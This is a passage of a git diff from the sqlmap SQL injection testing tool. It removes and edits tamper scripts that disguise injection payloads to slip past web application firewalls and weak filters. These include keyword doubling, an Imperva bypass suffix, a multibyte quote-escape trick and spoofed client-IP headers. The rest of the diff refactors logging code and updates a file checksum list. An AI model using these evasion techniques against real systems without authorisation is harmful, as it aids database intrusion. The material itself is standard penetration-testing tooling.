hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.letters + string.digits, 2)) for _ in xrange(500))
|
||||
|
||||
return payload
|
||||
@@ -1,40 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import random
|
||||
import re
|
||||
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.NORMAL
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces predefined SQL keywords with representations suitable for replacement filters (e.g. SELECT -> SELSELECTECT)
|
||||
|
||||
Notes:
|
||||
* Useful to bypass very weak custom filters
|
||||
|
||||
>>> random.seed(0)
|
||||
>>> tamper('1 UNION SELECT 2--')
|
||||
'1 UNIOUNIONN SELESELECTCT 2--'
|
||||
"""
|
||||
|
||||
keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
|
||||
retVal = payload
|
||||
|
||||
warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
|
||||
warnMsg += "You can set it manually according to your needs"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if payload:
|
||||
for keyword in keywords:
|
||||
_ = random.randint(1, len(keyword) - 1)
|
||||
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
|
||||
|
||||
return retVal
|
||||
@@ -1,26 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.NORMAL
|
||||
|
||||
def dependencies():
|
||||
pass
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Appends special crafted string for bypassing Imperva SecureSphere WAF
|
||||
|
||||
Reference:
|
||||
* http://seclists.org/fulldisclosure/2011/May/163
|
||||
|
||||
>>> tamper('1 AND 1=1')
|
||||
"1 AND 1=1 and '0having'='0having'"
|
||||
"""
|
||||
|
||||
return payload + " and '0having'='0having'" if payload else payload
|
||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
import urllib
|
||||
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
@@ -25,6 +26,6 @@ def tamper(payload, **kwargs):
|
||||
retVal = payload
|
||||
|
||||
if payload:
|
||||
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
|
||||
retVal = re.sub(r"(?i)\bAND\b", urllib.quote("&&"), re.sub(r"(?i)\bOR\b", urllib.quote("||"), payload))
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -25,7 +25,7 @@ def tamper(payload, **kwargs):
|
||||
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
|
||||
|
||||
>>> tamper("1' AND 1=1")
|
||||
'1%bf%27-- '
|
||||
'1%bf%27-- -'
|
||||
"""
|
||||
|
||||
retVal = payload
|
||||
@@ -46,7 +46,7 @@ def tamper(payload, **kwargs):
|
||||
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
|
||||
if _ != retVal:
|
||||
retVal = _
|
||||
retVal += "-- "
|
||||
retVal += "-- -"
|
||||
elif not any(_ in retVal for _ in ('#', '--', '/*')):
|
||||
retVal += "-- "
|
||||
retVal += "-- -"
|
||||
return retVal
|
||||
|
||||
@@ -14,8 +14,10 @@ def dependencies():
|
||||
|
||||
def randomIP():
|
||||
numbers = []
|
||||
|
||||
while not numbers or numbers[0] in (10, 172, 192):
|
||||
numbers = sample(xrange(1, 255), 4)
|
||||
|
||||
return '.'.join(str(_) for _ in numbers)
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
@@ -25,4 +27,6 @@ def tamper(payload, **kwargs):
|
||||
|
||||
headers = kwargs.get("headers", {})
|
||||
headers["X-Forwarded-For"] = randomIP()
|
||||
headers["X-Client-Ip"] = randomIP()
|
||||
headers["X-Real-Ip"] = randomIP()
|
||||
return payload
|
||||
|
||||
Vendored
+23
-23
@@ -130,6 +130,16 @@ class ColorizingStreamHandler(logging.StreamHandler):
|
||||
|
||||
ctypes.windll.kernel32.SetConsoleTextAttribute(h, color)
|
||||
|
||||
def _reset(self, message):
|
||||
if not message.endswith(self.reset):
|
||||
reset = self.reset
|
||||
elif self.bold in message: # bold
|
||||
reset = self.reset + self.bold
|
||||
else:
|
||||
reset = self.reset
|
||||
|
||||
return reset
|
||||
|
||||
def colorize(self, message, levelno):
|
||||
if levelno in self.level_map and self.is_tty:
|
||||
bg, fg, bold = self.level_map[levelno]
|
||||
@@ -162,41 +172,31 @@ class ColorizingStreamHandler(logging.StreamHandler):
|
||||
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
||||
if match:
|
||||
time = match.group(1)
|
||||
if not message.endswith(self.reset):
|
||||
reset = self.reset
|
||||
elif self.bold in message: # bold
|
||||
reset = self.reset + self.bold
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, reset)), 1)
|
||||
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
|
||||
|
||||
match = re.search(r"\[(#\d+)\]", message) # counter
|
||||
if match:
|
||||
counter = match.group(1)
|
||||
if not message.endswith(self.reset):
|
||||
reset = self.reset
|
||||
elif self.bold in message: # bold
|
||||
reset = self.reset + self.bold
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, reset)), 1)
|
||||
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
|
||||
|
||||
match = re.search(r"'([^']+)'", message) # single-quoted
|
||||
if level != "PAYLOAD" and match:
|
||||
string = match.group(1)
|
||||
if not message.endswith(self.reset):
|
||||
reset = self.reset
|
||||
elif self.bold in message: # bold
|
||||
reset = self.reset + self.bold
|
||||
if level != "PAYLOAD":
|
||||
if any(_ in message for _ in ("parsed DBMS error message",)):
|
||||
match = re.search(r": '(.+)'", message)
|
||||
if match:
|
||||
string = match.group(1)
|
||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(string, ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, reset)), 1)
|
||||
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
|
||||
string = match.group(1)
|
||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||
else:
|
||||
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
||||
|
||||
if prefix:
|
||||
message = "%s%s" % (prefix, message)
|
||||
|
||||
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
|
||||
|
||||
return message
|
||||
|
||||
def format(self, record):
|
||||
|
||||
Vendored
+2
@@ -79,6 +79,8 @@ COLORS = dict(
|
||||
))
|
||||
)
|
||||
|
||||
COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS))
|
||||
|
||||
|
||||
RESET = '\033[0m'
|
||||
|
||||
|
||||
+101
-91
@@ -8,7 +8,6 @@ acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_
|
||||
708e9fd35dabcbfcd10e91bbc14f091f extra/icmpsh/icmpsh_m.py
|
||||
2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/__init__.py
|
||||
fe141ec3178a46e7151c7f34bb747c68 extra/mssqlsig/update.py
|
||||
ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/safe2bin/__init__.py
|
||||
b6c0f2047e9bea90f4d5c5806c0f6a9a extra/safe2bin/safe2bin.py
|
||||
@@ -21,63 +20,65 @@ e4805169a081b834ca51a60a150c7247 extra/shutils/newlines.py
|
||||
1056d1112ba5130868178cb495d22b1d extra/shutils/regressiontest.py
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/sqlharvest/__init__.py
|
||||
b3e60ea4e18a65c48515d04aab28ff68 extra/sqlharvest/sqlharvest.py
|
||||
0f581182871148b0456a691ae85b04c0 lib/controller/action.py
|
||||
94872ce72dc2628cdedf2eb82cba716e lib/controller/checks.py
|
||||
c414cecdb0472c92cf50ed5b01e4438c lib/controller/controller.py
|
||||
c7443613a0a2505b1faec931cee2a6ef lib/controller/handler.py
|
||||
1e5532ede194ac9c083891c2f02bca93 extra/wafdetectify/__init__.py
|
||||
c1bccc94522d3425a372dcd57f78418e extra/wafdetectify/wafdetectify.py
|
||||
3459c562a6abb9b4bdcc36925f751f3e lib/controller/action.py
|
||||
71334197c7ed28167cd66c17b2c21844 lib/controller/checks.py
|
||||
dd42ef140ffc0bd517128e6df369ab01 lib/controller/controller.py
|
||||
97a0f363bfc33a5ee4853cdf91515423 lib/controller/handler.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/controller/__init__.py
|
||||
0adf547455a76dc71e6a599e52da1ed9 lib/core/agent.py
|
||||
fd8f239e259afaf5f24bcf34a0ad187f lib/core/bigarray.py
|
||||
ee1b800e860263b877a2b292a3e4becd lib/core/common.py
|
||||
cb865cf6eff60118bc97a0f106af5e4d lib/core/agent.py
|
||||
c347f085bd561adfa26d3a9512e5f3b9 lib/core/bigarray.py
|
||||
83cb02b7fbb979b8c27e7fc58c76e6f1 lib/core/common.py
|
||||
0d082da16c388b3445e656e0760fb582 lib/core/convert.py
|
||||
9f87391b6a3395f7f50830b391264f27 lib/core/data.py
|
||||
72016ea5c994a711a262fd64572a0fcd lib/core/datatype.py
|
||||
4086fb55f42e27de5330505605baad0f lib/core/decorators.py
|
||||
fbb55cc6100318ff922957b6577dc58f lib/core/defaults.py
|
||||
db165596ef0a3e19ec59c24192bb318d lib/core/dicts.py
|
||||
9ea8a043030796e6faef7f7e957729d5 lib/core/dump.py
|
||||
ab3f4f3e3019add5f4a2e28f7e8748a4 lib/core/enums.py
|
||||
ac7c070b2726d39fbac1916b1a5f92b2 lib/core/dicts.py
|
||||
760de985e09f5d11aacd3a8f2d8e9ff2 lib/core/dump.py
|
||||
0cf974cf4ff3b96e1a349a12e39f4693 lib/core/enums.py
|
||||
cada93357a7321655927fc9625b3bfec lib/core/exception.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/core/__init__.py
|
||||
458a194764805cd8312c14ecd4be4d1e lib/core/log.py
|
||||
05f72baa2db4073bb0273d7fc1df13eb lib/core/optiondict.py
|
||||
8e759d4c8711a5980d4bdc2d044a4fd4 lib/core/option.py
|
||||
7d6edc552e08c30f4f4d49fa93b746f1 lib/core/optiondict.py
|
||||
d6dace6468ed5d2bbd500b0a244a9650 lib/core/option.py
|
||||
c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
|
||||
6783160150b4711d02c56ee2beadffdb lib/core/profiling.py
|
||||
6f654e1715571eff68a0f8af3d62dcf8 lib/core/readlineng.py
|
||||
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
|
||||
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
|
||||
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
|
||||
355a1680a1f53013390849ca50322c0e lib/core/settings.py
|
||||
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
|
||||
9aa489d9226056b672d83786f2c606c9 lib/core/settings.py
|
||||
a971ce157d04de96ba6e710d3d38a9a8 lib/core/shell.py
|
||||
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
|
||||
12bed9603b6fba3e5ffda11d584bc449 lib/core/target.py
|
||||
721198b5be72c8015a02acb116532a1f lib/core/target.py
|
||||
72d499ca8d792e90a1ebfb2ad2341a51 lib/core/testing.py
|
||||
e896992e4db26605ab1e73615b1f9434 lib/core/threads.py
|
||||
cd0067d1798e45f422ce44b98baf57db lib/core/threads.py
|
||||
c40758411bb0bd68764d78e0bb72bd0f lib/core/unescaper.py
|
||||
b35636650cfe721f5cc47fb91737c061 lib/core/update.py
|
||||
e772deb63270375e685fa5a7b775c382 lib/core/wordlist.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/__init__.py
|
||||
7620f1f4b8791e13c7184c06b5421754 lib/parse/banner.py
|
||||
babf5c48bc6a3797fc459706af4465cd lib/parse/cmdline.py
|
||||
30d7cbada42154dcbb17f4ca969d812a lib/parse/cmdline.py
|
||||
fb2e2f05dde98caeac6ccf3e67192177 lib/parse/configfile.py
|
||||
3794ff139869f5ae8e81cfdbe5714f56 lib/parse/handler.py
|
||||
6bab53ea9d75bc9bb8169d3e8f3f149f lib/parse/headers.py
|
||||
1bc6ddaeada0f2425fa9aae226854ca8 lib/parse/html.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/parse/__init__.py
|
||||
f2af274126ce0a789027d35d367f2b9e lib/parse/payloads.py
|
||||
f6b5957bf2103c3999891e4f45180bce lib/parse/payloads.py
|
||||
492654567e72b6a14584651fcd9f16e6 lib/parse/sitemap.py
|
||||
30eed3a92a04ed2c29770e1b10d39dc0 lib/request/basicauthhandler.py
|
||||
2b81435f5a7519298c15c724e3194a0d lib/request/basic.py
|
||||
c0cabedead14b8a23353b606672cff42 lib/request/comparison.py
|
||||
039f0f7cf997856fa2f6e8d5d69f7ae9 lib/request/connect.py
|
||||
859b6ad583e0ffba154f17ee179b5b89 lib/request/comparison.py
|
||||
0363fb0b3e58467ff5c915d1d85dfd3e lib/request/connect.py
|
||||
dd4598675027fae99f2e2475b05986da lib/request/direct.py
|
||||
2044fce3f4ffa268fcfaaf63241b1e64 lib/request/dns.py
|
||||
98535d0efca5551e712fcc4b34a3f772 lib/request/httpshandler.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/request/__init__.py
|
||||
a5cbc19ee18bd4b848515eb3ea3291f0 lib/request/inject.py
|
||||
aaf956c1e9855836c3f372e29d481393 lib/request/methodrequest.py
|
||||
51eeaa8abf5ba62aaaade66d46ff8b00 lib/request/pkihandler.py
|
||||
83c7a13e38ad5eedb6bb13463a7a9e90 lib/request/pkihandler.py
|
||||
2c3774b72586985719035b195f144d7b lib/request/rangehandler.py
|
||||
3cd9d17fc52bb62db29e0e24fc4d8a97 lib/request/redirecthandler.py
|
||||
7f12d8f3b6665ed7053954bba70ff718 lib/request/templates.py
|
||||
@@ -86,10 +87,10 @@ acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/takeover/__init__.py
|
||||
46ff5840b29531412bcaa05dac190413 lib/takeover/metasploit.py
|
||||
fb9e34d558293b5d6b9727f440712886 lib/takeover/registry.py
|
||||
48575dde7bb867b7937769f569a98309 lib/takeover/udf.py
|
||||
f6f835e4190a55e42d13c1e7ca3f728f lib/takeover/web.py
|
||||
6a49f359b922df0247eb236126596336 lib/takeover/udf.py
|
||||
a3d07df8a780c668a11f06be42014cdc lib/takeover/web.py
|
||||
debc36a3ff80ba915aeeee69b21a8ddc lib/takeover/xp_cmdshell.py
|
||||
0e9d37cbeabd1bbbfe2c53f01bbb6a6e lib/techniques/blind/inference.py
|
||||
db208ab47de010836c6bf044e2357861 lib/techniques/blind/inference.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/blind/__init__.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/dns/__init__.py
|
||||
799faf9008527d2e9da9d923e50f685a lib/techniques/dns/test.py
|
||||
@@ -98,64 +99,71 @@ debc36a3ff80ba915aeeee69b21a8ddc lib/takeover/xp_cmdshell.py
|
||||
6007347548e85383705eaa4b863448a2 lib/techniques/error/use.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/__init__.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/techniques/union/__init__.py
|
||||
94d7a22bb6725a91e84ba2cd9973e96d lib/techniques/union/test.py
|
||||
f7813cdee00df8f98d6f811475e520a1 lib/techniques/union/test.py
|
||||
7361338240ecd9d01d1d10ec76bce069 lib/techniques/union/use.py
|
||||
77ff35587af9e3dfde63b8327e230f9a lib/utils/api.py
|
||||
37dfb641358669f62c2acedff241348b lib/utils/brute.py
|
||||
31b1e7eb489eac837db6a2bc1dcb7da7 lib/utils/crawler.py
|
||||
de9620f03231d8329ee8434884b6bacd lib/utils/deps.py
|
||||
f9867bbfcd6d31916ca73e72e95fd881 lib/utils/deps.py
|
||||
f7af65aa47329d021e2b2cc8521b42a4 lib/utils/getch.py
|
||||
7af29f61302c8693cd6436d4b69e22d3 lib/utils/har.py
|
||||
062e4e8fc43ac54305a75ddd0d482f81 lib/utils/hashdb.py
|
||||
4d5b2262ad495301706a4cf4c565abec lib/utils/hash.py
|
||||
d0f4d56c5d6a09a4635035e233d4a782 lib/utils/hash.py
|
||||
011d2dbf589e0faa0deca61a651239cc lib/utils/htmlentities.py
|
||||
1e5532ede194ac9c083891c2f02bca93 lib/utils/__init__.py
|
||||
010d8327239d33af4ce9f25683cfc012 lib/utils/pivotdumptable.py
|
||||
527409077a094b63c88f3291138b1c81 lib/utils/pivotdumptable.py
|
||||
683c3bd05b6164f56a57ed495c162684 lib/utils/progress.py
|
||||
0ec5cec9d93d5ffd1eaeda6e942ecadf lib/utils/purge.py
|
||||
2c5a655c8e94cbe2664ee497752ac1f2 lib/utils/search.py
|
||||
571884f530796534f03c49cf3f380a4c lib/utils/sqlalchemy.py
|
||||
dcc25183c6bd85b172c87cfcbc305ab6 lib/utils/timeout.py
|
||||
fad14adffa8b640a15b06db955031695 lib/utils/versioncheck.py
|
||||
4703ceeb32131a9a7a6561575644123b lib/utils/versioncheck.py
|
||||
e9e73cd6bd814dd7823a9da913cea61c lib/utils/xrange.py
|
||||
b9d2761f47fec3d98b88311a263fd5db plugins/dbms/access/connector.py
|
||||
d8a541a63f3b561334de51abb4dcad55 plugins/dbms/access/connector.py
|
||||
3f1c50a1507d1c2f69c20c706230e2e2 plugins/dbms/access/enumeration.py
|
||||
fcc66fc377db3681f7890ec55675564b plugins/dbms/access/filesystem.py
|
||||
c2428c5c73d049abf4442ec1b9404a25 plugins/dbms/access/fingerprint.py
|
||||
cdd082981b421248ece0e7cf278071ff plugins/dbms/access/fingerprint.py
|
||||
e657b1b7a295a38ac9ce515158164f00 plugins/dbms/access/__init__.py
|
||||
77686d7c7e287d5db0a9a87f2c7d4902 plugins/dbms/access/syntax.py
|
||||
2f1d8706b51497623b2b59c07b552bdc plugins/dbms/access/takeover.py
|
||||
8df07c2805aceb7d6fb4add40de84795 plugins/dbms/db2/connector.py
|
||||
24a79eb2dde8ea9340a701c8c2591701 plugins/dbms/db2/connector.py
|
||||
4deeda463003ab71e7d2f34a263b5bbf plugins/dbms/db2/enumeration.py
|
||||
da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/db2/filesystem.py
|
||||
b54dbf44590a5cbefb2b4f8e9a01a383 plugins/dbms/db2/fingerprint.py
|
||||
ce434fc05a7ad236c49a155d62f0cac4 plugins/dbms/db2/fingerprint.py
|
||||
95b35cbd859bbced44e7f8fd84486d75 plugins/dbms/db2/__init__.py
|
||||
82d96d8fcfd565129580260040555623 plugins/dbms/db2/syntax.py
|
||||
25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/db2/takeover.py
|
||||
53bd7de27d37958f543f5329362ac298 plugins/dbms/firebird/connector.py
|
||||
1ac54bbfb81ffed945636432bc49466b plugins/dbms/firebird/connector.py
|
||||
bc4d71116d7296d63894484f2e60ade2 plugins/dbms/firebird/enumeration.py
|
||||
c3ca81000200e5ab4210e9bf2e04ce93 plugins/dbms/firebird/filesystem.py
|
||||
bd2159afbe83c70059f57712b4ae0189 plugins/dbms/firebird/fingerprint.py
|
||||
bf98dbd666c162088f23ee697c065010 plugins/dbms/firebird/fingerprint.py
|
||||
d4ea3036492b8ae15340548b2936021f plugins/dbms/firebird/__init__.py
|
||||
c56f2dabe88fd761a1a9a51e4d104088 plugins/dbms/firebird/syntax.py
|
||||
1522a29bd4b54ea78bb2855fc32b6c72 plugins/dbms/firebird/takeover.py
|
||||
79c44d8d0dffc140d38796a32e92a66a plugins/dbms/h2/connector.py
|
||||
5b99e9a60409f54a140747ce1ca0342f plugins/dbms/h2/enumeration.py
|
||||
36522c36650afc43c1166ab68b297ecb plugins/dbms/h2/filesystem.py
|
||||
83255ebf7b1d23a408f0c68a7fa63422 plugins/dbms/h2/fingerprint.py
|
||||
1de698e4cfddd754ffe31ea2640a481a plugins/dbms/h2/__init__.py
|
||||
4673ebfdce9859718c19e8a7765da8d3 plugins/dbms/h2/syntax.py
|
||||
af746ef421cfefedc1aaa9dca1503de2 plugins/dbms/h2/takeover.py
|
||||
271a7f16e781d56a0a31a3d5515a1945 plugins/dbms/hsqldb/connector.py
|
||||
95919592e5bb83df00b99bb9e8a70977 plugins/dbms/hsqldb/enumeration.py
|
||||
616595e74ecb644271cbbd31815d92e0 plugins/dbms/hsqldb/filesystem.py
|
||||
b7d693a6f5f39fee0a65f2d7b0830c5e plugins/dbms/hsqldb/fingerprint.py
|
||||
7747ad6cc12e295ba3fb4518ac083d1e plugins/dbms/hsqldb/filesystem.py
|
||||
b061bdbb9159c449072fde51b444f1c0 plugins/dbms/hsqldb/fingerprint.py
|
||||
fd369161778d6b48d7f1f7fc14dcdb5c plugins/dbms/hsqldb/__init__.py
|
||||
4673ebfdce9859718c19e8a7765da8d3 plugins/dbms/hsqldb/syntax.py
|
||||
7c0535736215ca612756cf589adb249b plugins/dbms/hsqldb/takeover.py
|
||||
97dac442190bd4ffac3ba292e2abfd4c plugins/dbms/informix/connector.py
|
||||
d61a5f79a9fa07c06fe7f5a653662e95 plugins/dbms/informix/connector.py
|
||||
c54d70e4847c6327bd3110c4d8723b04 plugins/dbms/informix/enumeration.py
|
||||
da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/informix/filesystem.py
|
||||
35eac2f3837a72940eb50753dc4566e5 plugins/dbms/informix/fingerprint.py
|
||||
b182f01c2ba82aa94fbe4948383ea98d plugins/dbms/informix/fingerprint.py
|
||||
9dac94c8f76acf0be65b6c57ecdb5c34 plugins/dbms/informix/__init__.py
|
||||
aa77fec4fe6b2d7ca4a91aebd9ff4e21 plugins/dbms/informix/syntax.py
|
||||
25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/informix/takeover.py
|
||||
1e5532ede194ac9c083891c2f02bca93 plugins/dbms/__init__.py
|
||||
6917f9b045f6188b89e816dea9b46a3f plugins/dbms/maxdb/connector.py
|
||||
f33efaab1695dc9885ebae3f6072fffa plugins/dbms/maxdb/enumeration.py
|
||||
9c0307881fae556521bec393956664b0 plugins/dbms/maxdb/connector.py
|
||||
1f3f9d4c7ec62452ed2465cd9cf50aa1 plugins/dbms/maxdb/enumeration.py
|
||||
ffd26f64142226d0b1ed1d70f7f294c0 plugins/dbms/maxdb/filesystem.py
|
||||
9f9f1c4c4c3150545c4b61d1cffc76a8 plugins/dbms/maxdb/fingerprint.py
|
||||
4321d7018f5121343460ebfd83bb69be plugins/dbms/maxdb/__init__.py
|
||||
@@ -164,58 +172,58 @@ bf7842bb291e2297c3c8d1023eb3e550 plugins/dbms/maxdb/takeover.py
|
||||
decc645344bb93aca504a71ba2e4cad4 plugins/dbms/mssqlserver/connector.py
|
||||
f1f1541a54faf67440179fa521f99849 plugins/dbms/mssqlserver/enumeration.py
|
||||
65911fdc86fa6322e72319e6488a0bb8 plugins/dbms/mssqlserver/filesystem.py
|
||||
08914da79141713bd69a25c3cc7f06a8 plugins/dbms/mssqlserver/fingerprint.py
|
||||
6cf74341fc84588205e02b70b2f0f5b6 plugins/dbms/mssqlserver/fingerprint.py
|
||||
f25c50a95e5390ecd32be5a011637349 plugins/dbms/mssqlserver/__init__.py
|
||||
612be1929108e7b4512a49a4a3837bbc plugins/dbms/mssqlserver/syntax.py
|
||||
3c0845fa526e1bb7bbe636fcfcbcc4a6 plugins/dbms/mssqlserver/takeover.py
|
||||
f6e1f3f09f32b9cb2ca11c016d373423 plugins/dbms/mysql/connector.py
|
||||
14bfa3960ed0b4bec2cd29800ec525b7 plugins/dbms/mysql/connector.py
|
||||
445164daf59b890aeacc968af58fcb53 plugins/dbms/mysql/enumeration.py
|
||||
4578fa29f04d0a75499f9668466ded07 plugins/dbms/mysql/filesystem.py
|
||||
4e23494d0a8f41c22ec3861fb404e9f7 plugins/dbms/mysql/fingerprint.py
|
||||
edec54520556a5eb66900fca697940ff plugins/dbms/mysql/filesystem.py
|
||||
1c0175476b833a1b788550726be67c99 plugins/dbms/mysql/fingerprint.py
|
||||
30065993f8300994e4658634121609e9 plugins/dbms/mysql/__init__.py
|
||||
0e2adbee217f5b94dcc124d24b8dde99 plugins/dbms/mysql/syntax.py
|
||||
403591e638b6bfdb840d52bd3138ee56 plugins/dbms/mysql/takeover.py
|
||||
f772070dba85976a7894dac5046b93ea plugins/dbms/oracle/connector.py
|
||||
e1ffee36fd18f33f34bb4bac4ae43f14 plugins/dbms/oracle/enumeration.py
|
||||
c326b0d8bed92be67888b0242f565ac8 plugins/dbms/oracle/filesystem.py
|
||||
538395c0e5ccb1b6befc17f129f45f29 plugins/dbms/oracle/fingerprint.py
|
||||
85a5d474faaf14df5a5a84c9f232c1d6 plugins/dbms/oracle/fingerprint.py
|
||||
9cbce3d3747c67f18e65f9c1eb910b0e plugins/dbms/oracle/__init__.py
|
||||
5c2f1611c3ceface38a7e95650391ae6 plugins/dbms/oracle/syntax.py
|
||||
bcdbd9c04d7d5a911e0e31abe1a24f0f plugins/dbms/oracle/takeover.py
|
||||
f99c23db4ee6a6b8c0edbf684d360ad3 plugins/dbms/postgresql/connector.py
|
||||
7cdb821884e5f15084d1bea7f8a50574 plugins/dbms/postgresql/enumeration.py
|
||||
c8bb829d45752b98e6a03817b92e0fe5 plugins/dbms/postgresql/filesystem.py
|
||||
d30806e39996e6d273f0af888f5710a4 plugins/dbms/postgresql/fingerprint.py
|
||||
1449c89fa6dac9b62e814cc65233b9de plugins/dbms/postgresql/fingerprint.py
|
||||
470860d3e85d11a67f2220bffaa415e7 plugins/dbms/postgresql/__init__.py
|
||||
20e6f48f496348be45f3402ebc265dbb plugins/dbms/postgresql/syntax.py
|
||||
1287acf330da86a93c8e64aff46e3b65 plugins/dbms/postgresql/takeover.py
|
||||
80a2083a4fb7809d310c3d5ecc94e3c5 plugins/dbms/sqlite/connector.py
|
||||
5194556e6b1575b1349f8ccfd773952b plugins/dbms/sqlite/enumeration.py
|
||||
90fa97b84998a01dba7cc8c3329a1223 plugins/dbms/sqlite/filesystem.py
|
||||
ed52c198f3346ceabdef676e9f5d3c0f plugins/dbms/sqlite/fingerprint.py
|
||||
9b1f236857b8a64750e8662be21abb69 plugins/dbms/sqlite/fingerprint.py
|
||||
f639120d42b33b6ca67930bddbf2ac1f plugins/dbms/sqlite/__init__.py
|
||||
964e59d2eba619b068b0a15cea28efe0 plugins/dbms/sqlite/syntax.py
|
||||
3364b2938d7040c507cd622c323557dc plugins/dbms/sqlite/takeover.py
|
||||
9e64e67291a4c369bad8b8cf2cfa722a plugins/dbms/sybase/connector.py
|
||||
426698152f63504061e5875e64957691 plugins/dbms/sybase/enumeration.py
|
||||
4fe9ee0dfa50e9c46e6512128471cbee plugins/dbms/sybase/enumeration.py
|
||||
74de450dd6d6d006aa9c7eed56e6b09a plugins/dbms/sybase/filesystem.py
|
||||
c8ee0deaa2309e96d9a409ff1524f3ad plugins/dbms/sybase/fingerprint.py
|
||||
0329ab09187614bea02398def59695ec plugins/dbms/sybase/fingerprint.py
|
||||
a3db8618eed5bb2807b6f77605cba9cc plugins/dbms/sybase/__init__.py
|
||||
36acb9a5966af21b32e8558b0d50653d plugins/dbms/sybase/syntax.py
|
||||
79f6c7017db4ded8f74a0117188836ff plugins/dbms/sybase/takeover.py
|
||||
34d181a7086d6dfc7e72ae5f8a4cfe0f plugins/generic/connector.py
|
||||
e6cd1c5a5244d83396b401f7db43d323 plugins/generic/custom.py
|
||||
156c227dbe765da3d0fd2976fbe18d8b plugins/generic/databases.py
|
||||
4e2b366bb9cfdaaed719b219913357c6 plugins/generic/entries.py
|
||||
ce6a6ff713852b5eca7b78316cc941c4 plugins/generic/custom.py
|
||||
3d75e831574c750ed58e24eaa562c056 plugins/generic/databases.py
|
||||
35546acab0eea406c23b84363df4d534 plugins/generic/entries.py
|
||||
d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py
|
||||
0c8abe66a78edca0660bfb8049d109e2 plugins/generic/filesystem.py
|
||||
0a67b8b46f69df7cfacc286b47a0d9a5 plugins/generic/filesystem.py
|
||||
f5d5419efddfe04648ea5e953c650793 plugins/generic/fingerprint.py
|
||||
1e5532ede194ac9c083891c2f02bca93 plugins/generic/__init__.py
|
||||
f7874230e5661910d5fd21544c7d1022 plugins/generic/misc.py
|
||||
b1d2a7f3170f9b69e71335aa47f9b08b plugins/generic/search.py
|
||||
30b421f06dc98998ddc1923a9048b7fc plugins/generic/search.py
|
||||
a70cc0ada4b0cc9e7df23cb6d48a4a0c plugins/generic/syntax.py
